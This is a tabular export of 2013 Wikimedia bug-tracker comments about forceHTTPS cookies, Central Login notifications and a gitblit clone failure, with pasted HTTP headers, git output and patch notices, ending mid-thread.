+276836,Login with the required password change doesn't log me in globally,"Logins using temporary password (""Reset your password"" feature) are also affected.",,,1380793429,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0
+56626,forceHTTPS session cookie placed even with HTTPS opt-out set,"Forced secure connection...again...[edit]
+
+Even though the ""always use a secure connection"" box is unchecked, I'm being redirected to https:// no matter what I do on each and every page. This is becoming bothersome. - The Bushranger One ping only 22:43, 25 September 2013 (UTC)
+
+
+Which browser are you using? If Firefox, try zapping all the forceHTTPS cookies, as suggested a few weeks back. --Redrose64 (talk) 23:09, 25 September 2013 (UTC)
+
+
+I'm using FF22. I tried that - but there was no forceHTTPS cookie after I logged out per the directions there. There was one that existed while I was logged in, and I deleted it while logged in - and was then able to navigate using http://...however, as soon as I signed out and back in again, I was right back stuck on https://. This is a Wikipedia issue, not a my-browser isssue, as it's force-feeding me the forceHTTPS cookie every time I log in, even though it was just fine on http:// this morning. - The Bushranger One ping only 23:25, 25 September 2013 (UTC)
+
+
+I tried deleting and had similar problems - it's also force feeding me that cookie every time I log in. Why do the technical people have meddle so... and not tell us. Dpmuk (talk) 06:07, 26 September 2013 (UTC)
+
+--------------------------
+**Version**: master
+**Severity**: normal",High,80.0,1380185580,1381853735.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-yk4yz7wimv556d7eqmvv,task_description,resolved,True,c3,1,True,False,True,-92,True,1,0,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+260243,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:
+
+I have managed to reproduce it and this time noticed the trigger.  Using Google Translate on a Wikipedia page.  I have filed a new bug, Bug 55887.",,,1382118210,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+260238,forceHTTPS session cookie placed even with HTTPS opt-out set,Confirmed fixed in a Chrome private browser session with HTTPS disabled.,,,1381943703,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+260233,forceHTTPS session cookie placed even with HTTPS opt-out set,"If you can reproduce this now that you've logged out and logged back in, please file a new bug with specific instructions on reproducing.",,,1381853735,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+260226,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:
+
+Okay, just tried one more thing.  Clearing the cookies, logging out, and logging back in.  That worked.  But still, I should not have ever gotten into the state I was in of it forcing me into HTTPS, so something is still wonky, even if intermittently so.",,,1381705099,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-90,True,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0
+260222,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:
+
+Just realized something.  One of the cookies was ""wikipedia.org"".   If I remember correctly, then before there were separate cookies for en.wikipedia.org, fr.wikipedia.org, etc.  Did someone do an optimization to use only one cookie per domain and then forget to give us the ability to opt out  since there are no preferences users can set on ""wikipedia.org"", just on the individual sites?",,,1381703793,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-90,True,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,0,0,0,1
+260216,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:
+
+I'm getting forced into using HTTPS again today, so I'm reopening this bug.  Not only that, but clearing the cookies doesn't help.  If do that, then I get the popup message:
+Central login
+You are centrally logged in as XXXXXXX. Reload the page to apply your user settings.
+
+And 15 different new HTTPS cookies added:
+commons, incubator, login, mediawiki, meta, species, wikibooks, wikidata, wikinews, wikipedia, wikiquote, wikisource, wikiversity, wikivoyage, and wiktionary.
+
+I am using Firefox 24.0.",,,1381702355,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-90,True,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+260209,forceHTTPS session cookie placed even with HTTPS opt-out set,"Thanks for checking, Brad.",,,1381426328,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+260205,forceHTTPS session cookie placed even with HTTPS opt-out set,"I don't know why it's not on that release notes page, but I just checked on tin and it is included in the version of CentralAuth in /a/common/php-1.22wmf20/extensions/CentralAuth.",,,1381422212,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+260199,forceHTTPS session cookie placed even with HTTPS opt-out set,Is this in fact in wmf20? I don't see it in the release notes in https://www.mediawiki.org/wiki/MediaWiki_1.22/wmf20,,,1381391926,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+260193,forceHTTPS session cookie placed even with HTTPS opt-out set,%%%*** Bug 55368 has been marked as a duplicate of this bug. ***%%%,,,1381072702,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+260189,forceHTTPS session cookie placed even with HTTPS opt-out set,"Marking this fixed, since the patch is merged. It looks like this just missed being included in 1.22wmf19, so it should go out to WMF wikis with 1.22wmf20. See https://www.mediawiki.org/wiki/MediaWiki_1.22/Roadmap for the schedule.
+
+Unless, of course, Chris or someone wants to backport it (which would probably happen then on Monday).",,,1380298508,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-92,True,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+260185,forceHTTPS session cookie placed even with HTTPS opt-out set,"Change 86101 merged by jenkins-bot:
+Explicitly clear forceHTTPS cookie when insecure
+
+https://gerrit.wikimedia.org/r/86101",,,1380233997,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+260180,forceHTTPS session cookie placed even with HTTPS opt-out set,"Change 86101 had a related patch set uploaded by Anomie:
+Explicitly clear forceHTTPS cookie when insecure
+
+https://gerrit.wikimedia.org/r/86101",,,1380205862,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+260177,forceHTTPS session cookie placed even with HTTPS opt-out set,"I wonder if this is covered by anomie's https://gerrit.wikimedia.org/r/#/c/85776/ . Or not.
+
+For the records: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=574592983#Forced_secure_connection...again...
+https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=574592983#http_login_issue",,,1380197962,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-92,True,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+56513,Visiting an http address when logged in via https triggers Central Login notification?,"Copying from https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=574338454#Log-in.2FLog-out.2C_Skins_problem though this seems to cover two aspects:
+
+Upper right corner: Cologne Blue skin not showing, notice appears ""CENTRAL LOGIN. You are centrally logged in as Carrite. Reload the page to apply your user settings."" Which doesn't work. Log-out fails. Ridiculous.  24.20.128.148
+
+  When I get this message, I wait a few seconds then hard-refresh the page 
+  (it's Ctrl+F5 in Firefox). That usually fixes it. —Redrose64
+
+    I believe loading any page would apply settings, not just reloading 
+    the previous one, but I may be wrong. —πr2 
+
+      Small guess, the JS that does the login redressing only works for 
+      Vector and Monobook. And it seems there is a problem that every time 
+      you visit a http address while logged in over https, you get the 
+      'central login, you are centrally logged in as' notification for 
+      every page view. I'm seeing this as well right now. —TheDJ
+
+--------------------------
+**Version**: master
+**Severity**: normal",High,80.0,1380040020,1382649797.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,False,PHID-TASK-f6e3gt22f74enu5oipj3,task_description,resolved,True,c3,1,True,False,True,-93,True,1,0,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+258756,Visiting an http address when logged in via https triggers Central Login notification?,"I confirmed with mark that Varnish is handling all non wikipedia (and non ipv6/https) traffic, and I haven't seen anyone complaining about this issue again. So I think the varnish change successfully prevents the issue. Please reopen if anyone sees this happening again.",,,1382649797,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,True,,,-88,True,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+258753,Visiting an http address when logged in via https triggers Central Login notification?,That is my understanding of it.,,,1380308192,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,True,,,-92,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+258748,Visiting an http address when logged in via https triggers Central Login notification?,"Varnish ignores XVO, so the solution is to try to reproduce XVO in static Varnish configuration? So does that mean it's also ignoring other cookies specified in XVO, such as metawikiLoggedOut, centralauth_LoggedOut, mf_useformat, and stopMobileRedirect that are in the header quoted in comment 2?",,,1380300562,,PHID-USER-uqcn2l4ng4murmyfnvyp,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,True,,,-92,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+258742,Visiting an http address when logged in via https triggers Central Login notification?,"I talked with Mark about this. Since varnish ignores XVO, we need a specific VCL rule for varying on forceHTTPS.
+
+Mark added https://gerrit.wikimedia.org/r/#/c/86268/1 to do that.",,,1380299492,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,True,,,-92,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+258738,Visiting an http address when logged in via https triggers Central Login notification?,"Actaully, it looks like MobileFrontend has already setting forceHTTPS in the XVO list. So it seems like Varnish isn't respecting that?",,,1380151449,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+258734,Visiting an http address when logged in via https triggers Central Login notification?,"Change 86044 merged by jenkins-bot:
+Vary on forceHTTPS cookie
+
+https://gerrit.wikimedia.org/r/86044",,,1380151327,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,False,,,-93,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+258731,Visiting an http address when logged in via https triggers Central Login notification?,"Change 86044 had a related patch set uploaded by CSteipp:
+Vary on forceHTTPS cookie
+
+https://gerrit.wikimedia.org/r/86044",,,1380149023,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,False,,,-93,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+258726,Visiting an http address when logged in via https triggers Central Login notification?,"I just hit this bug myself. I was logged in via HTTPS, but every time I go to http://meta.wikimedia.org/ it leaves me on the HTTP site and logs me in via Central login.
+
+I have both the metawikiforceHTTPS and forceHTTPS cookies set to true.
+
+Here are all the headers from the Request and Response:
+
+Response Headers
+Accept-Ranges	bytes
+Age	30292
+Cache-Control	private, s-maxage=0, max-age=0, must-revalidate
+Connection	keep-alive
+Content-Encoding	gzip
+Content-Language	en
+Content-Length	16558
+Content-Type	text/html; charset=UTF-8
+Date	Wed, 25 Sep 2013 22:24:33 GMT
+Last-Modified	Wed, 25 Sep 2013 13:59:37 GMT
+Server	Apache
+Vary	Accept-Encoding,Cookie
+Via	1.1 varnish, 1.1 varnish
+X-Cache	cp1054 hit (15), cp1068 frontend hit (2123)
+X-Content-Type-Options	nosniff
+X-Powered-By	PHP/5.3.10-1ubuntu3.6+wmf1
+X-Varnish	2043118996 3533212360, 1488879432 1469275617
+X-Vary-Options	Accept-Encoding;list-contains=gzip,Cookie;string-contains=metawikiToken;string-contains=metawikiLoggedOut;string-contains=metawikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect;string-contains=forceHTTPS
+
+Request Headers
+Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Encoding	gzip, deflate
+Accept-Language	en-US,en;q=0.5
+Cache-Control	no-cache
+Connection	keep-alive
+Cookie	metawikiforceHTTPS=1; forceHTTPS=1; stopMobileRedirect=true; centralnotice_bucket=0-4.2; mediaWiki.user.sessionId=ox79ZiUXx2F4mdQgHKLUS2NBGB34Iut6; uls-previous-languages=%5B%22en%22%5D; optin=beta
+Host	meta.wikimedia.org
+Pragma	no-cache
+User-Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0",,,1380148436,,PHID-USER-a5pveeqqwaddgfjiv2fq,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,False,,,-93,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+258720,Visiting an http address when logged in via https triggers Central Login notification?,"What it sounds like is happening is that the login cookies are being set as secure, but the forceHTTPS cookie isn't being set so reloading doesn't result in a redirect to https.
+
+I suspect this may have been fixed with Gerrit change 85776, which will be deployed along with 1.22wmf19 (see https://www.mediawiki.org/wiki/MediaWiki_1.22/Roadmap for the schedule). Unless Chris is going to include it with his CentralAuth deploy later today, in which case it might go out sooner.",,,1380120197,,PHID-USER-uqcn2l4ng4murmyfnvyp,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+56417,First clone for a repository from gitblit fails with HTTP 405,"This is weird, but reproducible.  The *first* time you try to clone a repository in a directory with:
+
+git clone https://git.wikimedia.org/git/mediawiki/extensions/SomeExtension.git
+
+it fails with:
+
+Cloning into 'SomeExtension'...
+error: RPC failed; result=22, HTTP code = 405
+fatal: The remote end hung up unexpectedly
+
+The second time, it succeeds.  I've reproduced it with multiple extensions (e.g. UploadWizard) on both Labs and my own machine.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**Whiteboard**: aklapper-moreinfo",High,80.0,1379750640,1395435134.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-clkereghqucvvv2xs4zj,task_description,resolved,True,c3,1,True,False,True,-93,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+252807,First clone for a repository from gitblit fails with HTTP 405,"Seems to be fixed.  I tested with one I'm pretty sure has never been on my machine, and it worked on the first try for me too.",,,1395435134,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c3,1,True,,,-67,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+252800,First clone for a repository from gitblit fails with HTTP 405,"(In reply to Matthew Flaschen from comment #0)
+> The *first* time you try to clone a repository in a directory with:
+> git clone
+> https://git.wikimedia.org/git/mediawiki/extensions/SomeExtension.git
+> it fails with:
+> 
+> Cloning into 'SomeExtension'...
+> error: RPC failed; result=22, HTTP code = 405
+> fatal: The remote end hung up unexpectedly
+
+Tried in a separate local tmp directory and had no problems.
+Does anybody still see this problem? (Or: What am I doing wrong?)
+
+$:andre\> git clone https://git.wikimedia.org/git/mediawiki/extensions/AbuseFilter.gitCloning into 'AbuseFilter'...
+remote: Counting objects: 1022, done
+remote: Finding sources: 100% (897/897)
+remote: Getting sizes: 100% (618/618)
+remote: Compressing objects:  99% (667197/667198)
+remote: Total 8858 (delta 32), reused 7967 (delta 0)
+Receiving objects: 100% (8858/8858), 22.07 MiB | 1.19 MiB/s, done.
+Resolving deltas: 100% (5990/5990), done.
+Checking connectivity... done.
+$:andre\> git clone https://git.wikimedia.org/git/mediawiki/extensions/UploadWizard.git
+Cloning into 'UploadWizard'...
+remote: Counting objects: 1528, done
+remote: Finding sources: 100% (1424/1424)
+remote: Getting sizes: 100% (1061/1061)
+remote: Compressing objects:  99% (678617/678618)
+remote: Total 10560 (delta 92), reused 9136 (delta 0)
+Receiving objects: 100% (10560/10560), 32.83 MiB | 1.19 MiB/s, done.
+Resolving deltas: 100% (7141/7141), done.
+Checking connectivity... done.
+$:andre\>",,,1394717567,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c3,1,True,,,-68,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+252795,First clone for a repository from gitblit fails with HTTP 405,"Huh? How could a POST request become a GET request? Some sort of Varnish misconfiguration?
+
+POST /git/mediawiki/extensions/AssertEdit.git/git-upload-pack HTTP/1.1
+User-Agent: git/1.8.4
+Host: git.wikimedia.org
+Accept-Encoding: gzip
+Content-Type: application/x-git-upload-pack-request
+Accept: application/x-git-upload-pack-result
+Content-Length: 324
+
+006fwant 8042c39f1df86789e50f04712c15a1c219dbb178 multi_ack_detailed no-done side-band-64k thin-pack ofs-delta
+0032want 045a6acef5ad87bfa6a580c2b09295e5d761105c
+0032want 523feba3de364984f5b099a5ea029254c9c4df23
+0032want 76271fbc23b797b0c3340733e91432ac9154d44e
+0032want 8042c39f1df86789e50f04712c15a1c219dbb178
+00000009done
+HTTP/1.1 405 HTTP method GET is not supported by this URL
+Pragma: no-cache
+Content-Type: text/html;charset=ISO-8859-1
+Cache-Control: must-revalidate,no-cache,no-store
+Server: Jetty(7.6.8.v20121106)
+Content-Length: 1490
+Accept-Ranges: bytes
+Date: Thu, 26 Sep 2013 07:13:13 GMT
+X-Varnish: 1193742703
+Age: 0
+Via: 1.1 varnish
+Connection: keep-alive
+X-Cache: cp1044 miss (0)
+
+<html>
+<head>
+<meta http-equiv=""Content-Type"" content=""text/html; charset=ISO-8859-1""/>
+<title>Error 405 HTTP method GET is not supported by this URL</title>
+</head>
+<body><h2>HTTP ERROR 405</h2>
+<p>Problem accessing /git/mediawiki/extensions/AssertEdit.git/git-upload-pack. Reason:
+<pre>    HTTP method GET is not supported by this URL</pre></p><hr /><i><small>Powered by Jetty://</small>
+[...]",,,1380180548,,PHID-USER-3ampiwske4lc434cm6ot,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c3,1,False,,,-92,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,1
+252786,First clone for a repository from gitblit fails with HTTP 405,"Same here.
+
